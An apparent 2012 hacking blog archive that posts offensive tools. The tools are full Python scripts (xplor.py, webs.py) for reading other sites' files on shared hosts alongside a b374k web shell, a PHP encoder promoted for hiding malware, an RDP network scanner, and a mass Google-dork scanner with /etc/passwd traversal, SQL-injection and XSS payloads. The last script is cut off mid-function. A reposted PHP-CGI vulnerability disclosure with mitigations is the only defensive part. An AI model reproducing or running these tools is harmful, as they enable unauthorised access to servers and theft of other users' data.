Showing posts with label local exploits. Show all posts
Showing posts with label local exploits. Show all posts
May 22, 2012

1
Server Bypass via Symlink - Jumping in server Part 2

Let's go with next method of symlink server bypassing , like u see and into before post now i will explain a new trick with an other tool.
http://www.flashcrew.in/2012/05/server-bypass-via-symlink-jumping-in.html

-------------------------
Here we will talk about an other tool who use python permission to read other folders/ files in same server.
Tool called xplor.py and here it's the source

 #!/usr/bin/env python
# devilzc0de.org (c) 2012
import sys
import os

def copyfile(source, dest, buffer_size=1024*1024):
    if not hasattr(source, 'read'):
        source = open(source, 'rb')
    if not hasattr(dest, 'write'):
        dest = open(dest, 'wb')
    while 1:
        copy_buffer = source.read(buffer_size)
        if copy_buffer:
            dest.write(copy_buffer)
        else:
            break
    source.close()
    dest.close()

if __name__=="__main__":
    if not len(sys.argv) == 3 and not len(sys.argv) == 2:
        sys.stdout.write('usage : python ' + os.path.basename(sys.argv[0]) + ' [path to dir/file] [path to save file]\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue issue_new_copy\r\n')
        sys.exit(1)
   
    target = sys.argv[1].replace("\\","/")
    if os.path.isdir(target):
        if not target.endswith("/"):
            target = target + "/"
        dir = os.listdir(target)
        for d in dir:
            fs = ""
            if os.path.isdir(target + d):
                fs = "[ DIR ]"
            elif os.path.isfile(target + d):
                fs = os.path.getsize(target + d)
                fs = str(fs)
               
            sys.stdout.write(fs.rjust(12, " ") + " " + d + "\r\n")
    elif os.path.isfile(target):
        if len(sys.argv) == 3:
            copyfile(target, sys.argv[2])
        else:
            f = open(target, "rb")
            try:
                byte = f.read(1024)
                sys.stdout.write(byte)
                sys.stdout.flush()
                while byte != "":
                    byte = f.read(1024)
                    sys.stdout.write(byte)
                    sys.stdout.flush()
            finally:
                f.close()
    else:
        sys.stdout.write("Can't found file or folder : " + target)

http://pastebin.com/WqmCE2sJ

testing the script python xplor.py

User the tool to view folders where not have any permission to read inside

python xplor.py /var/www/index.php


View the files in no access folder .
python xplor.py /var/www/index.php


copy/ save ur file
python xplor.py /var/www/indro/ketek.jpg ketek.jpg
Posted Image

And yeah file it's here
Posted Image

Yeahh fucking access it's granted 


Some thing u can do with those other scripts in perl 
webs.pl
and
xplor.pl


enjoy it :)
Posted by FlashcRew at 14:46
Labels: , , , , , , , , , , ,

4
Server Bypass via Symlink - Jumping in server Part 1

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.
For getting success with this tutorial are required the following things:
  • Python Installed on Server
  • b374k.php shell
  • And some scripts u will see below.
This idea have start from devilzc0de geeks and let me explain how it work.


here we are in folder /var/www/dono and trying to go into /www/
no permissions to go into /www .
before we got tired by trying the commands u must check if if python it's installed with command :
python -h
Now take this python script and name it as webs.py , It's a little python script who will open a new port on server SimpleHTTPServer ( python ) module. Default port from script it's 13123 .
#!/usr/bin/env python
# devilzc0de.org (c) 2012
import SimpleHTTPServer
import SocketServer
import os

port = 13123
if __name__=='__main__':
        os.chdir('/')
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

        httpd = SocketServer.TCPServer(("", port), Handler)

        print("Now open this server on webbrowser at port : " + str(port))
        print("example: http://maho.com:" + str(port))
        httpd.serve_forever()
http://pastebin.com/PddvszKC 

 

Next u wil need to run the webs.py script by following command
python webs.py

 open the site with port 13123
site.com:13123



And enjoy the symilinking, in next post i will show u how to do this in another way :)
Posted by FlashcRew at 14:25
Labels: , , , , , , , , , , , ,
May 21, 2012

2
Carbylamine - A PHP Script Encoder to 'Obfuscate/Encode' PHP Files

Carbylamine PHP Encoder is a PHP Encoder to 'Obfuscate/Encode' PHP File, Faster way to encode your malwares offline.

How to use:
carbylamine.php
Download carbylamine

Home project it's here
 
Posted by FlashcRew at 14:33
Labels: , , , , , , , ,
May 8, 2012

0
PHP CGI Argument Remote Exploit

This is a detailed discussion of the generic PHP-CGI remote code execution bug we found while playing Nullcon CTF. We found that giving the query string ‘?-s’ somehow resulted in the “-s” command line argument being passed to php, resulting in source code disclosure. We explored this bug further and managed to improve our exploit to remote code execution, and trace the bug to a PHP commit in 2004.
PHP has been working on a patch for this for quite a while. We have been waiting to post this blog entry until a fix was released, but today the bug was posted to reddit because it was apparently accidentally marked public.

Executive summary:

  • PHP-CGI installations are vulnerable to remote code execution
  • There is no official fix, but we provide some workarounds in the ‘mitigation’ section
  • The PHP bug report is now public and contains an official patch and a mod_rewrite based workaround
  • PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
  • The new PHP versions as well as the official php patch contain a bug which makes the fix trivial to bypass. Use our mitigations for now.
  • New versions of PHP which incorporate this revised fix will be released soon. The issue that the bug was not initially properly fixed is being tracked as CVE-2012-2311.
  • FastCGI installations are not vulnerable
  • The vulnerability can only be exploited if the HTTP server follows a fairly obscure part of the CGI spec. Apache does this, but many other servers do not.
Now, without further ado, the bug…

The Vulnerability

The hosting service Dreamhost (which Nullcon makes use of) recommends users that wish to modify their php.ini configuration file to run their sites through a CGI wrapper, using Apache mod_actions’ Action directive like this:
1
2
3
4
Options +ExecCGI
AddHandler php5-cgi .php
Action php-cgi /cgi-bin/php-wrapper.fcgi
Action php5-cgi /cgi-bin/php-wrapper.fcgi
php-wrapper.fcgi is a shell script that wraps php5-cgi, which has the aforementioned -s option.
1
2
#!/bin/sh
exec /dh/cgi-system/php5.cgi $*
Edit: (Note that the shell-script is inherently insecure because it does shell expansion, the correct way to pass on arguments would be "$@")
We’ve tested this and have confirmed that the query parameters are passed to the php5-cgi binary in this configuration. Since the wrapper script merely passes all the arguments on to the actual php-cgi binary, the same problem exists with configurations where php-cgi is directly copied into the cgi-bin directory.
It’s interesting to note that while slashes get added to any shell metacharacters we pass in the query string, spaces and dashes (‘-’) are not escaped. So we can pass as many options to PHP as we want!
There is one slight complication: php5-cgi behaves differently depending on which environment variables have been set, disabling the flag -r for direct code execution among others.
1
2
3
4
5
6
7
8
9
10
11
if (!fastcgi) {
    /* Make sure we detect we are a cgi - a bit redundancy here,
     * but the default case is that we have to check only the first one. */
    if (getenv("SERVER_SOFTWARE") ||
        getenv("SERVER_NAME") ||
        getenv("GATEWAY_INTERFACE") ||
        getenv("REQUEST_METHOD")
    ) {
        cgi = 1;
    }
}
However, this can be trivially bypassed. We’re removing the remote code execution PoC out of an abundance of caution, but at this point anyone should be able to figure this out.
And for the record: safe_mode, allow_url_include and other security-related ini settings will not save you. See the bottom of this post for how you can protect yourself until the official patch is out.
Whose fault is this exactly? And why does the query string get parsed into command line arguments anyway? We went on a little trip around the internet to find out.
To answer the first question, there is the following text in the CGI RFC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
4.4.  The Script Command Line
 
   Some systems support a method for supplying an array of strings to
   the CGI script.  This is only used in the case of an 'indexed' HTTP
   query, which is identified by a 'GET' or 'HEAD' request with a URI
   query string that does not contain any unencoded "=" characters.  For
   such a request, the server SHOULD treat the query-string as a
   search-string and parse it into words, using the rules
 
      search-string = search-word *( "+" search-word )
      search-word   = 1*schar
      schar         = unreserved | escaped | xreserved
      xreserved     = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |
                      "$"
 
   After parsing, each search-word is URL-decoded, optionally encoded in
   a system-defined manner and then added to the command line argument
   list.
 
   If the server cannot create any part of the argument list, then the
   server MUST NOT generate any command line information.  For example,
   the number of arguments may be greater than operating system or
   server limits, or one of the words may not be representable as an
   argument.
 
   The script SHOULD check to see if the QUERY_STRING value contains an
   unencoded "=" character, and SHOULD NOT use the command line
   arguments if it does.
We checked the Apache source, and it complies exactly with the RFC: if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.
Unfortunately, it appears the PHP devs forgot about this section of the RFC, and decided to remove the code which defends against it somewhere in 2004:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
From: Rasmus Lerdorf lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
 
In our SAPI cgi we have a check along these lines:
 
    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }
 
    if(!cgi) getopt(...)
 
As in, we do not parse command line args for the cgi binary if we are
running in a web context.  At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests.  From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane.  Of course these two ideas conflict, so currently our
regression testing is somewhat broken.  We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
 
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version?  I could easily see it
being useful to be able to write a cgi script like:
 
  #!/usr/local/bin/php-cgi -d include_path=/path
  
      ...
  ?>
 
and have it work both from the command line and from a web context.
 
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
 
-Rasmus
Oddly enough, the PHP documentation still claims that PHP ignores command line arguments when run in CGI mode. That documentation page also describes another mitigation used in PHP: the REDIRECT_STATUS environment variable must be set, or PHP will refuse to run as a CGI script. This means we cannot directly access /cgi-bin/php5-cgi. This doesn’t really inconvenience us though, as mentioned earlier :-)

Mitigation

NOTE: This section is now out of date! PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
The new PHP release is buggy. You can use their mitigation mod_rewrite rule, but the patch and new released versions do not fix the problem. At the bottom we have added a version of the PHP patch that fixes the obvious problem with the patch merged in the recently released security update.
The following tarball contains two ways of mitigating the vulnerability.
See CVE-2012-1823-mitigation.tar.gz
The first method is to have a small wrapper binary around the php-cgi binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
 * Small wrapper which strips all arguments to invocations
 * of php-cgi when it is called as a normal CGI handler.
 * This prevents attackers to pass arguments from the query
 * string as defined in RFC 3875. [1]
 *
 * [1] http://www.ietf.org/rfc/rfc3875
 *
 */
 
#include
#include
#include
 
#include
#include
 
#define PHP_ORIG "/usr/bin/php5-cgi.orig" /* Original binary */
 
typedef union _sa_t {
    struct sockaddr     sa;
    struct sockaddr_un  sa_unix;
    struct sockaddr_in  sa_inet;
    /* struct sockaddr_in6 should probably be here as well,
     * doesn't matter though, since struct sockaddr_un
     * is big.
     */
} sa_t;
 
int is_fastcgi(void)
{
    sa_t sa;
    socklen_t len = sizeof(sa);
 
    return ( getpeername(0, (struct sockaddr *)&sa, &len) != 0 &&
             errno == ENOTCONN );
}
 
int main(int argc, char **argv)
{
    /* mimic php's cgi detection */
    if ( !is_fastcgi() &&
         (getenv("SERVER_SOFTWARE") ||
          getenv("SERVER_NAME") ||
          getenv("GATEWAY_INTERFACE") ||
          getenv("REQUEST_METHOD") ) )
      argv[1] = NULL;
 
    execv(PHP_ORIG, argv);
}
The second way is a patch for PHP, which disables the parsing of arguments if
php-cgi is invoked as non-fastcgi cgi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Disable argument parsing when invoked as CGI (and NOT when invoked as
FastCGI.)  This to prevent programs from passing arguments to php-cgi
via the query string as specified by RFC 3875. [1]
 
This patch may break CGI scripts that depend on arguments passed via
shebang arguments, eg. '#!/usr/bin/php-cgi -dmagic_quotes_gpc=Off',
but this is inherently unsafe, since these arguments may have come from
the network.
 
Backward compatibility could theoretically be faked by parsing the
shebang arguments from the file itself, but this leads to a circular
dependency since the script filename depends on the configuration which
may be changed in the shebang line of the file (due to cgi.fix-pathinfo.)
 
[1] http://www.ietf.org/rfc/rfc3875
 
Index: sapi/cgi/cgi_main.c
===================================================================
--- sapi/cgi/cgi_main.c   (revision 322984)
+++ sapi/cgi/cgi_main.c   (working copy)
@@ -1552,7 +1552,7 @@
      }
  }
 
- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {
+ if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {
      switch (c) {
          case 'c':
              if (cgi_sapi_module.php_ini_path_override) {
@@ -1801,7 +1801,7 @@
  }
 
  zend_first_try {
-     while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) {
+     if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) {
          switch (c) {
              case 'T':
                  benchmark = 1;
UPDATE: There is now a third option. This patch should be applied on top of the current PHP source (including the security update that was supposed to fix the issue described in this blog entry).
This patch fixes an obvious mistake made by the PHP devs. We have verified that without this patch, the most recent PHP can still be exploited.
UPDATE: as Christopher Kunz from http://www.php-security.net points out to us that If you use the the same (insecure) wrapper as in our example, the patch below can still be circumvented by prepending a ‘+’, like ‘+-s’. Our solutions above should work just fine in this case.
1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/sapi/cgi/cgi_main.c b/sapi/cgi/cgi_main.c
index e6d011b..8e2d0ba 100644
--- a/sapi/cgi/cgi_main.c
+++ b/sapi/cgi/cgi_main.c
@@ -1809,7 +1809,7 @@ int main(int argc, char *argv[])
    if(query_string = getenv("QUERY_STRING")) {
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
-       if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
+       if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {
            skip_getopt = 1;
        }
        free(decoded_query_string);

Disclosure timeline

13-01: Vulnerability discovered, used to pwn Nullcon Hackim 2012 scoreboard
13-01: We discuss the issue with Nullcon admins, find out it is a php 0day
17-01: We contact security@php.net with a full report and a suggested patch
01-02: We ask PHP to confirm receipt, state our intent to hand off the vulnerability to CERT if progress is not made
01-02: PHP forwards vulnerability report to PHP CGI maintainer
23-02: CERT acknowledges receipt of vulnerability and attempts to contact PHP.
05-04: We ask CERT for a status update
05-04: CERT responds saying that PHP is still working on a fix
20-04: We ask CERT to proceed with disclosure unless a patch is imminent
26-04: CERT prepares draft advisory.
02-05: CERT notifies us that PHP is testing a patch and would like more time. we agree.
03-05: Someone posts a mirror of the internal PHP bug to reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentaly marked public.
UPDATE: The PHP bug report is now public again and is marked as closed. Go there for information on the patch and a mod_rewrite based workaround. Do NOT rely on the homebrew workarounds in the comments below, they do not provide adequate protection!
UPDATE2: PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
UPDATE3: The new PHP release is buggy. You can use their workaround, but the new releases and their patch do not fix the issue. Use our mitigations for now.
UPDATE4: Added a new patch which should be applied on top of PHP’s new security update. This patch fixes the mistake made by PHP in their security update, and without it your PHP will still be exploitable. Look at the bottom of the mitigation section.
UPDATE5: We have received word that new PHP updates with the revised fix will be released soon. The issue that this problem was not properly fixed by the original security update is being tracked as CVE-2012-2311. Updates to this blog will be less frequent for the following hours due to it being nighttime / early morning in the Netherlands.
We apologize for the mess this blogpost has become; if anything is unclear please don’t hesitate to ask in the comments. We don’t want to reorganise the blog post too much so people can still find what they want.
source from: eindbazen.net
PHP CGI Argument Injection Exploit

Posted by FlashcRew at 06:01
Labels: , , , , , , ,
Apr 13, 2012

0
rdpScan Network Checker

This is a simple script that leverages nmap to scan for RDP-Server.

#!/bin/bash
#
# rdpScan - scan a network segment for RDP-Server          
# author: silverstoneblue@gmx.net 
# requires:  fgrep awk nmap

scriptname="rdpScan"
version="1.0"
rdpips="/tmp/tmprdp.$$"

declare -i rdpfound=0

function is_installed {
  which $1 > /dev/null 2>&1
  if [ $? -ne 0 ]
  then
    printf "\nERROR: %s not installed.\n\n" $1
    exit 255
  fi
}
 
is_installed fgrep
is_installed awk
is_installed nmap

 if [ $# -ne 1 ]; then
    printf "\n \n"
   printf "rdpScan - scan a network segment for RDP-Server \n\n"
    printf "version %s by silverstoneblue@gmx.net \n\n" $version
   printf "Usage: %s {target network}\n\n" $scriptname
    printf "target network:\n"
    printf "  can pass hostnames, IP's, networks, etc.\n"
    printf "  server.company.com, company.com/24, 192.168.0.1/16, 10.0.0-255.1-254\n"
    printf "example:\n"
    printf "  %s 80.187.0.0/24\n\n" $scriptname
    exit 255
 fi
 
iprange=$1
 
printf "\nScanning for RDP-Server..."
 
nmap -n -P0 -sS -p 3389 -oG - $iprange | fgrep 'Ports: 3389/open/tcp//ms-term-serv///' | awk '{print $2}' > $rdpips

printf "\n\n"

exec 3< $rdpips
 
echo "*****************"
echo "RDP IP Address"
echo "*****************"
 
 while read rdpip <&3 ; do
    rdpfound=$rdpfound+1
    printf "%-15s %s\n" $rdpip 
 done

 
 if [ $rdpfound -eq 0 ] ; then 
  printf "No RDP-Server found on network target %s. \n\n" $iprange
   rm -f $rdpips 
  exit 255
 fi
 
printf "\n%d RDP-Server found on network target %s.\n" $rdpfound $iprange
printf "Now try ur luck ;)\n"
printf "have fun ;) \n"
rm -f $rdpips 
exit 0

Download
Posted by FlashcRew at 00:20
Labels: , , , , , ,

7
Dark D0rk3r 0.7

Dark D0rk3r is a python script that performs dork searching and searches for local file inclusion and SQL injection errors.


#!/usr/bin/python
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# Toolname        : darkd0rk3r.py
# Coder           : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
# Version         : 0.7
# Greetz for rsauron and low1z, great python coders
# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft, c0ax, b0ne, tek0t and all members of ex darkc0de.com, ljuska.org 
# 

import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
from random import choice

# Colours
W  = "\033[0m";  
R  = "\033[31m"; 
G  = "\033[32m"; 
O  = "\033[33m"; 
B  = "\033[34m";


# Banner
def logo():
	print R+"\n|---------------------------------------------------------------|"
        print "| b4ltazar[@]gmail[dot]com                                      |"
        print "|   02/2012     darkd0rk3r.py  v.0.7                            |"
        print "|    b4ltazar.wordpress.com    &   ljuska.org                   |"
        print "|                                                               |"
        print "|---------------------------------------------------------------|\n"
	print W

if sys.platform == 'linux' or sys.platform == 'linux2':
  subprocess.call("clear", shell=True)
  logo()
  
else:
  subprocess.call("cls", shell=True)
  logo()
  
log = "darkd0rk3r-sqli.txt"
logfile = open(log, "a")
lfi_log = "darkd0rk3r-lfi.txt"
lfi_log_file = open(lfi_log, "a")
rce_log = "darkd0rk3r-rce.txt"
rce_log_file = open(rce_log, "a")
xss_log = "darkd0rk3r-xss.txt"
xss_log_file = open(xss_log, "a")

threads = []
finallist = []
vuln = []
timeout = 300
socket.setdefaulttimeout(timeout)



           
lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]

xsses = ["


XSS by baltazar

","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"]

sqlerrors = {'MySQL': 'error in your SQL syntax',
             'MiscError': 'mysql_fetch',
             'MiscError2': 'num_rows',
             'Oracle': 'ORA-01756',
             'JDBC_CFM': 'Error Executing Database Query',
             'JDBC_CFM2': 'SQLServer JDBC Driver',
             'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
             'MSSQL_Uqm': 'Unclosed quotation mark',
             'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
             'MS-Access_JETdb': 'Microsoft JET Database',
             'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
             'Server Error' : 'Server Error',
             'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
             'Invalid Querystring' : 'Invalid Querystring',
             'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
             'VBScript Runtime' : 'VBScript Runtime',
             'ADODB.Field' : 'ADODB.Field',
             'BOF or EOF' : 'BOF or EOF',
             'ADODB.Command' : 'ADODB.Command',
             'JET Database' : 'JET Database',
             'mysql_fetch_array()' : 'mysql_fetch_array()',
             'Syntax error' : 'Syntax error',
             'mysql_numrows()' : 'mysql_numrows()',
             'GetArray()' : 'GetArray()',
             'FetchRow()' : 'FetchRow()',
             'Input string was not in a correct format' : 'Input string was not in a correct format',
             'Not found' : 'Not found'}
             

header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
          'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
          'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
	  'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
	  'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
	  'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
	  'Microsoft Internet Explorer/4.0b1 (Windows 95)',
	  'Opera/8.00 (Windows NT 5.1; U; en)',
	  'amaya/9.51 libwww/5.4.0',
	  'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
	  'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
	  'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
	  'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
	  'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
	  'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
	  
	  
domains = {'All domains':['ac', 'ad', 'ae', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
           'aq', 'ar', 'as', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb',
           'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', 'bo',
           'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd',
           'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr',
           'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do',
           'dz', 'ec', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi',
           'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf',
           'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'gs',
           'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu',
           'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it',
           'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn',
           'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk',
           'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me',
           'mg', 'mh', 'mk', 'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr',
           'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'nc',
           'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz',
           'om', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn',
           'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru',
           'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj',
           'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy',
           'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm',
           'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug',
           'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi',
           'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw', 'com',
           'net', 'org','biz', 'gov', 'mil', 'edu', 'info', 'int', 'tel',
           'name', 'aero', 'asia', 'cat', 'coop', 'jobs', 'mobi', 'museum',
           'pro', 'travel'],'Balcan':['al', 'bg', 'ro', 'gr', 'rs', 'hr',
           'tr', 'ba', 'mk', 'mv', 'me'],'TLD':['xxx','edu', 'gov', 'mil',
           'biz', 'cat', 'com', 'int','net', 'org', 'pro', 'tel', 'aero', 'asia',
           'coop', 'info', 'jobs', 'mobi', 'name', 'museum', 'travel']}
           
  
stecnt = 0
for k,v in domains.items():
  stecnt += 1
  print str(stecnt)+" - "+k
sitekey = raw_input("\nChoose your target   : ")
sitearray = domains[domains.keys()[int(sitekey)-1]]
    

inurl = raw_input('\nEnter your dork      : ')
numthreads = raw_input('Enter no. of threads : ')
maxc = raw_input('Enter no. of pages   : ')
print "\nNumber of SQL errors :",len(sqlerrors)
print "Number of LFI paths  :",len(lfis)
print "Number of XSS cheats :",len(xsses)
print "Number of headers    :",len(header)
print "Number of threads    :",numthreads
print "Number of pages      :",maxc
print "Timeout in seconds   :",timeout
print ""




def search(inurl, maxc):
  urls = []
  for site in sitearray:
    page = 0
    try:
      while page < int(maxc):
	jar = cookielib.FileCookieJar("cookies")
	query = inurl+"+site:"+site
	results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
	request_web =urllib2.Request(results_web)
	agent = random.choice(header)
	request_web.add_header('User-Agent', agent)
	opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
	text = opener_web.open(request_web).read()
	stringreg = re.compile('(?<=href=")(.*?)(?=")')
        names = stringreg.findall(text)
        page += 1
        for name in names:
	  if name not in urls:
	    if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
	      pass
	    elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
	      pass
	    else:
	      urls.append(name)
	percent = int((1.0*page/int(maxc))*100)
	urls_len = len(urls)
	sys.stdout.write("\rSite: %s | Collected urls: %s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),repr(percent),repr(page)))
	sys.stdout.flush()
    except(KeyboardInterrupt):
      pass
  tmplist = []
  print "\n\n[+] URLS (unsorted): ",len(urls)
  for url in urls:
    try:
      host = url.split("/",3)
      domain = host[2]
      if domain not in tmplist and "=" in url:
	finallist.append(url)
	tmplist.append(domain)
	
    except:
      pass
  print "[+] URLS (sorted)  : ",len(finallist)
  return finallist

  
class injThread(threading.Thread):
        def __init__(self,hosts):
                self.hosts=hosts
                self.fcount = 0
                self.check = True
                threading.Thread.__init__(self)

        def run (self):
                urls = list(self.hosts)
                for url in urls:
                        try:
                                if self.check == True:
                                        ClassicINJ(url)
                                else:
                                        break
                        except(KeyboardInterrupt,ValueError):
                                pass
                self.fcount+=1

        def stop(self):
                self.check = False
                
class lfiThread(threading.Thread):
        def __init__(self,hosts):
                self.hosts=hosts
                self.fcount = 0
                self.check = True
                threading.Thread.__init__(self)

        def run (self):
                urls = list(self.hosts)
                for url in urls:
                        try:
                                if self.check == True:
                                        ClassicLFI(url)
                                else:
                                        break
                        except(KeyboardInterrupt,ValueError):
                                pass
                self.fcount+=1

        def stop(self):
                self.check = False
                
class xssThread(threading.Thread):
        def __init__(self,hosts):
                self.hosts=hosts
                self.fcount = 0
                self.check = True
                threading.Thread.__init__(self)

        def run (self):
                urls = list(self.hosts)
                for url in urls:
                        try:
                                if self.check == True:
                                        ClassicXSS(url)
                                else:
                                        break
                        except(KeyboardInterrupt,ValueError):
                                pass
                self.fcount+=1

        def stop(self):
                self.check = False
                
                
def ClassicINJ(url):
        EXT = "'"
        host = url+EXT
        try:
                source = urllib2.urlopen(host).read()
                for type,eMSG in sqlerrors.items():
                        if re.search(eMSG, source):
                                print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
				logfile.write("\n"+host)
				vuln.append(host)
				
				
                        else:
                                pass
        except:
                pass


def ClassicLFI(url):
  lfiurl = url.rsplit('=', 1)[0]
